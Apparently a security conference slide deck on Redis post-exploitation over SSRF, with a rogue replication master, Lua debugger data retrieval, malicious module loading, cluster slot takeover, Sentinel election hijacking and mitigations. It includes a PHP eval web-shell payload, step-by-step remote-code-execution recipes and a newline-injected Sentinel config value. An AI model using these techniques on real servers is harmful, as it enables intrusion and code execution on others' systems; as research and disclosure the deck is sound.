Redis post-exploitation

Pavel Toporkov
Pavel Toporkov

- Application Security Specialist at Kaspersky Lab
- LC/BC CTF team member (this research was mostly made during the CTF. Лучше бы ресёрчил)
Redis is an open source, in-memory data structure store, used as a database, cache and message broker.
Redis is usually used as:

- Session/Caching (serialized!) data storage
- PUB/SUB messaging service
- Message broker for asynchronous task queues.

Default port - 6379/tcp
56,000 Redis instances on the Internet without any authentication: buff.ly/1FUZCXc
#nosql #cloud #redis #shodan

8:30 AM - 18 Feb 2015
Nowadays it's only ~17600 instances on the internet.
the challenge

Given:
- SSRF without response content retrieval
- Zero knowledge about database structure (key names, pub/sub channels, etc)

Find:
- Remote Code Execution
known techniques

CVE-2015-4335/DSA-3279 - Redis Lua Sandbox Escape

- http://benmmurphy.github.io/blog/2015/06/04/redis-eval-lua-sandbox-escape/

FIXED: 04-Jun-2015
known techniques

SLAVEOF (https://redis.io/commands/slaveof)

**PRO:** We can change/insert any data to database and thus manipulate application logic

**CON:** We need to know about database data structure and how application processes data from it

**CON:** It’s possible to crash the application
known techniques

**MIGRATE**  ([https://redis.io/commands/migrate](https://redis.io/commands/migrate))

**PRO:** We can obtain any data from database

**CON:** We need to know valid key for it
known techniques

CONFIG SET
1. Change database file location
   CONFIG SET dir /var/www/uploads/
2. Change database file name
   CONFIG SET dbfilename sh.php
3. Inject your shell payload into database
   SET PAYLOAD '<?php eval($_GET[0]);?>'
4. Save database to file
   BGSAVE
known techniques

CONFIG SET

**PRO:** Code Execution

**CON:** We need to know webroot directory path

**CON:** Depends on web application technology stack

**CON:** It’s possible to crash the application
let's find something new
script-kiddie alert

No working exploits will be provided in this presentation, but only techniques.
redis-server supports two protocols:

1. Plaintext (space separated)
   
   SET keyname value

2. Custom
   
   *3\n\n$3\n\nSET\n\n$7\n\nkeyname\n\n$5\n\nvalue\n\n
protocol analysis

requests

responses

| 2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 33 0d | *3..$3..set..$3. |
| 0a 61 62 63 0d 0a 24 34 0d 0a 31 32 33 34 0d 0a | .abc..$4..1234.. |
| 2b 4f 4b 0d 0a | +OK.. |
| 2a 32 0d 0a 24 33 0d 0a 67 65 74 0d 0a 24 31 0d | *2..$3..get..$1. |
| 0a 61 62 63 0d 0a | .abc.. |
| 24 34 0d 0a 31 32 33 34 0d 0a | $4..1234.. |
## Protocol Analysis

### Responses

<table>
<thead>
<tr>
<th>Arguments count</th>
<th>Argument length</th>
<th>Argument value</th>
</tr>
</thead>
<tbody>
<tr>
<td>17</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### Requests

<table>
<thead>
<tr>
<th>Arguments count</th>
<th>Argument length</th>
<th>Argument value</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>$4..1234..</td>
</tr>
</tbody>
</table>

---

2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 33 0d | *3..$3..set..$3.
0a 61 62 63 0d 0a 24 34 0d 0a 31 32 33 34 0d 0a | ..abc..$4..1234..
2b 4f 4b 0d 0a                                  | +OK..
2a 32 0d 0a 24 33 0d 0a 67 65 74 0d 0a 24 31 0d | *2..$3..get..$1.
0a 61 62 63 0d 0a                               | ..abc..
24 34 0d 0a 31 32 33 34 0d 0a                   | $4..1234..
protocol analysis

requests

responses

2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 33 0d | *3..$3..set..$3.
0a 61 62 63 0d 0a 24 34 0d 0a 31 32 33 34 0d 0a | .abc..$4..1234..
2b 4f 4b 0d 0a                                  | +OK..
2a 32 0d 0a 24 33 0d 0a 67 65 74 0d 0a 24 31 0d | *2..$3..get..$1.
0a 61 62 63 0d 0a                                | .abc..
24 34 0d 0a 31 32 33 34 0d 0a                   | $4..1234..
architecture

master

client
The architecture diagram illustrates the relationship between a slave, a master, and a client through a TCP connection. The connection initialization (Connection init) starts the process. Database changes are exchanged between the master and the slave, ensuring synchronization. The client interacts with both the master and the slave, facilitating communication and data exchange.
1. Slave initiates the connection to master server
2. Slave attempts to proceed with a partial (or full) resynchronization
3. Master keeps the slave updated by sending a stream of commands to the slave, in order to replicate any action changing the master dataset.
(master)> set zxcv qwert

2a 32 0d 0a 24 36 0d 0a 53 45 4c 45 43 54 0d 0a | *2..$6..SELECT..
24 31 0d 0a 30 0d 0a 2a 33 0d 0a 24 33 0d 0a 73 | $1..0..*3..$3..s
65 74 0d 0a 24 34 0d 0a 7a 78 63 76 0d 0a 24 35 | et..$4..zxcv..$5
0d 0a 71 77 65 72 74 0d 0a | ..qwert..

(slave)> get zxcv
"qwert"
it's time to create a rogue server!
1. PING - test if a connection is still alive
   +PONG
2. REPLCONF - exchange replication information between master and slave
   +OK
3. PSYNC/SYNC <replid> - synchronize slave state with the master (partial or full)
   +CONTINUE <replid> 0
4. Now we can send any commands to slave. Can we obtain the responses?
data retrieval

NO
// networking.c
int prepareClientToWrite(client *c) {
...
if (c->flags & (CLIENT_LUA | CLIENT_MODULE))
    return C_OK;
...
if ((c->flags & CLIENT_MASTER) &&
    !(c->flags & CLIENT_MASTER_FORCE_REPLY))
    return C_ERR;
data retrieval

BUT ACTUALLY YES
// networking.c
int prepareClientToWrite(client *c) {

...  
if (c->flags & (CLIENT_LUA|CLIENT_MODULE))
    return C_OK;

...

if ((c->flags & CLIENT_MASTER) &&
    !(c->flags & CLIENT_MASTER_FORCE_REPLY))
    return C_ERR;

Set the debug mode for subsequent scripts executed with EVAL.

```c
// scripting.c
/* Enable debug mode of Lua scripts for this client. */
void ldbEnable(client *c) {
    c->flags |= CLIENT_LUA_DEBUG;
    ...
}
```
Exploitation steps:

1. Make the server to be a slave of our rogue server
2. Perform initial handshake with connected slave
3. Set the debug mode for executed scripts
   ```
   SCRIPT DEBUG YES
   ```
4. Trigger debugger using breakpoint
   ```
   EVAL redis.breakpoint() 0
   ```
5. Execute redis commands from debugger
   ```
   r keys *
   ```
data retrieval

video
Serving on ('127.0.0.1', 1337)
[*] Sending SLAVEOF command to server
[+] Got connection from remote server
[*] Trying to start debugging
[+] Debugger started

maxlen 0

++value> replies are unlimited.

>>> keys *
+/redis> keys *
+/reply> ["test-key:1234","test-key"]

>>> info server
+/redis> info server
+/reply> "# Server
\nredis_version:5.0.0\nredis_git_sha1:000000000\nredis_git_dirty:0\nredis_build_id:493ae3a168276ea\nredis_mode:standalone\nos:Linux 4.18.11-arch1-1-ARCH x86 64\narch_bits:64\nmultiplexing_api:epoll\natomicvar_api:atomic-builtin\ngcc_version:8.2.1\nprocess_id:4987\nnrun_id:bfe70a020af8046492972739f63b3c971bb53b6a\ntcp_port:6379\nuptime_in_seconds:17\nuptime_in_days:0\nhz:10\nconfigured_hz:10\nlru_clock:15298206\nexecutable:/tmp/redis\nconfig_file:/tmp/redis.conf"

[-] Connection lost
pwned? not yet!
rogue server

1. PING - test if a connection is still alive  
   +PONG

2. REPLCONF - exchange replication information between master and slave  
   +OK

3. PSYNC/SYNC <replid> - synchronize slave state with the master (partial or full)  
   +CONTINUE <replid> 0

4. Now we can send any commands to slave. Can we obtain the responses?
/* Asynchronously read the SYNC payload we receive from a master */

void readSyncBulkPayload(aeEventLoop *el, int fd, void *privdata, int mask) {
    ...
    if (rename(server.repl_transfer_tmpfile, server.rdb_filename) == -1) {
        ...
    }
    ...
    if (rdbLoad(server.rdb_filename, &rsi) != C_OK) {
        serverLog(LL_WARNING, "Failed trying to load the MASTER synchronization DB from disk");
We can write arbitrary data to database file.
"Redis modules make possible to extend Redis functionality using external modules, implementing new Redis commands at a speed and with features similar to what can be done inside the core itself."

MODULE LOAD /path/to/mymodule.so
exploitation steps

1. Make the server to be a slave of our rogue server
2. Read dbfilename (or set your own) value using previous data retrieval technique and drop connection
   CONFIG GET dbfilename or CONFIG SET dbfilename pwn
3. On new connection initiate FULLRESYNC from master and send compiled module as payload
   +FULLRESYNC <Z*40> 1\r\n$<len>\r\n<pld>
4. Load module (dbfilename) using SSRF
   MODULE LOAD ./dump.rdb or MODULE LOAD ./pwn
exploit

video
exploit

1st connection. Setting dbfilename

2nd connection. Sending shared object payload

MODULE LOAD pwn.so
pwned
redis-server 5.0
/ server.c
/*
 * s: command not allowed in scripts.
 */
struct redisCommand redisCommandTable[] = {
  ...
  {"config", configCommand, -2, "last", 0, NULL, 0, 0, 0, 0, 0},
  ...
};
We can't use `CONFIG` command to get or set database location anymore. We still can guess the dbfilename, but it's better to have more reliable exploit.
void syncWithMaster(aeEventLoop *el, int fd, void *privdata, int mask) {
    ...
    snprintf(tmpfile, 256, "temp-%d.%ld.rdb", (int)server.unixtime, (long int)getpid());
}

Both unixtime and pid can be obtained through TIME and INFO commands using previous data retrieval technique.
We can initiate FULLRESYNC with incorrect length to keep temporary file existing.
exploitation steps

1. Make the server to be a slave of our rogue server
2. Read unixtime and pid using previous data retrieval technique and drop connection TIME and INFO server
3. On new connection initiate FULLRESYNC from master and send compiled module as payload with incorrect length.
   +FULLRESYNC <Z*40> 1\r\n$<len+200>\r\n<pld>
4. Load module using SSRF
   MODULE LOAD ./temp-<time>.<pid>.rdb
Redis Cluster is a distributed implementation of Redis.

Every Redis Cluster node has an additional TCP port for receiving incoming connections from other Redis Cluster nodes. This port is at a fixed offset (+10000) from the normal TCP port used to receive incoming connections from clients.
The key space is split into 16384 slots

\[ \text{HASH SLOT} = \text{CRC16(key)} \mod 16384 \]

If the hash slot is served by the node, the query is simply processed, otherwise the node will check its internal hash slot to node map, and will reply to the client with a MOVED error, like in the following example:

\begin{verbatim}
GET x
-MOVED 3999 127.0.0.1:6381
\end{verbatim}
We can't use SLAVEOF in cluster mode.

But we can add our rogue server to cluster

```
CLUSTER MEET <ip> <port> <bus_port>
```

After that just listen the bus port.
typedef struct {
    char sig[4];    /* Signature "RCmb" (Redis Cluster message bus). */
    uint32_t totlen; /* Total length of this message */
    uint16_t ver;    /* Protocol version, currently set to 1. */
    uint16_t port;   /* TCP base port number. */
    uint16_t type;   /* Message type */
    ...
    uint64_t configEpoch;
    char sender[CLUSTER_NAMELEN]; /* Name of the sender node */
    unsigned char myslots[CLUSTER_SLOTS/8];
    char slaveof[CLUSTER_NAMELEN];
    char myip[NET_IP_STR_LEN];      /* Sender IP, if not all zeroed. */
    ...
    uint16_t flags;    /* Sender node flags */
    ...
} clusterMsg;
We can register our rogue server in message bus and steal the slots from existing nodes. All we need is to have greater `configEpoch` value.

All client requests will be redirected to our server.

```
127.0.0.1:7000> get 12345213
(error) MOVED 5912 127.0.0.1:1234
```
cluster takeover
exploitation steps

1. Add our rogue server to cluster
   `CLUSTER MEET <ip> <port> <bus_port>`

2. Wait for connection on message bus port

3. Perform handshake through message bus with `myslots field value` set to `"\xFF"*2048` and `configEpoch` set to `"\xFF"*8`
redis-cluster

[+] Got connection from 127.0.0.1:45903
// cluster.c
void clusterUpdateSlotsConfigWith(clusterNode *sender, uint64_t senderConfigEpoch, unsigned char *slots) {
    if (server.cluster->slots[j] == curmaster)
        newmaster = sender;
    ...
    if (newmaster && curmaster->numslots == 0) {
        serverLog(LL_WARNING,
            "Configuration change detected. Reconfiguring myself "
            "as a replica of %.40s", sender->name);
        clusterSetMaster(sender);
        ...
    }
redis-cluster

When node loses all its slots, it becomes slave and can be pwned with previous techniques.
pwned
mitigation

1. Required AUTH will prevent attacker to execute commands through SSRF (won't help against redis command injection attacks though)

2. redis-server >= 3.2.7 has built-in protection from HTTP SSRF attacks
"post", securityWarningCommand, -1,"lt",0,NULL,0,0,0,0,0},
{"host:"securityWarningCommand, -1,"lt",0,NULL,0,0,0,0,0},
mitigation
redis-sentinel
Redis Sentinel provides high availability for Redis. Redis Sentinel also provides other collateral tasks such as monitoring, notifications and acts as a configuration provider for clients.

Sentinels by default run listening for connections to TCP port 26379
Redis Sentinel has no fake POST and Host: commands, so we can use HTTP SSRF to access it.
redis-sentinel

When any master instance fails, Sentinel performs election between failed master slaves, and the elected one will be promoted to master. All other slaves will become slave of promoted master.

Election algorithm:
1. slave_priority
2. repl_offset
3. runid (lexicographically)
Election hacking 101
Slave with following config will always win the election

slave_priority: 1
slave_repl_offset: 999999999
run_id: <0*40>
Vulnerability:
Sentinel obtains information about slaves only from master and doesn't check if they are real slaves of this master.
exploitation steps

1. Make our master rogue server be watched by sentinel
   SENTINEL MONITOR <groupname> <ip> <port> <quorum>

2. Reply to sentinels INFO with information about two slaves:
   first is the instance we want to takeover, second is another rogue server
   slave0:ip=3.1.33.7,port=1337,
   slave1:ip=127.0.0.1,port=6379, <- victim server

3. Reply to sentinels INFO from slave rogue server with
   slave_priority:1 to win the election

4. Shutdown master rogue server. Our slave rogue server will be promoted to master and all other slaves of our master will become slaves.
pwned
Easy PWN for dessert
Sentinel rewrites its config on every watched instances reconfiguration. It's possible to inject arbitrary payload to config file using \n in reconfiguration parameters

SENTINEL SET <groupname> auth-pass "qwerty\n<payload>"
Sentinel `notification-script` and sentinel `client-reconfig-script` are used in order to configure scripts that are called to notify the system administrator or to reconfigure clients after a failover.
disclosure

Timeline:
06.08.2018 - First email to maintainer
28.08.2018 - Second email to maintainer
?????????? - No response

From time to time I get security reports about Redis. It’s good to get reports, but it’s odd that what I get is usually about things like Lua sandbox escaping, insecure temporary file creation, and similar issues, in a software which is designed (as we explain in our security page here http://redis.io/topics/security) to be totally insecure if exposed to the outside world.

questions?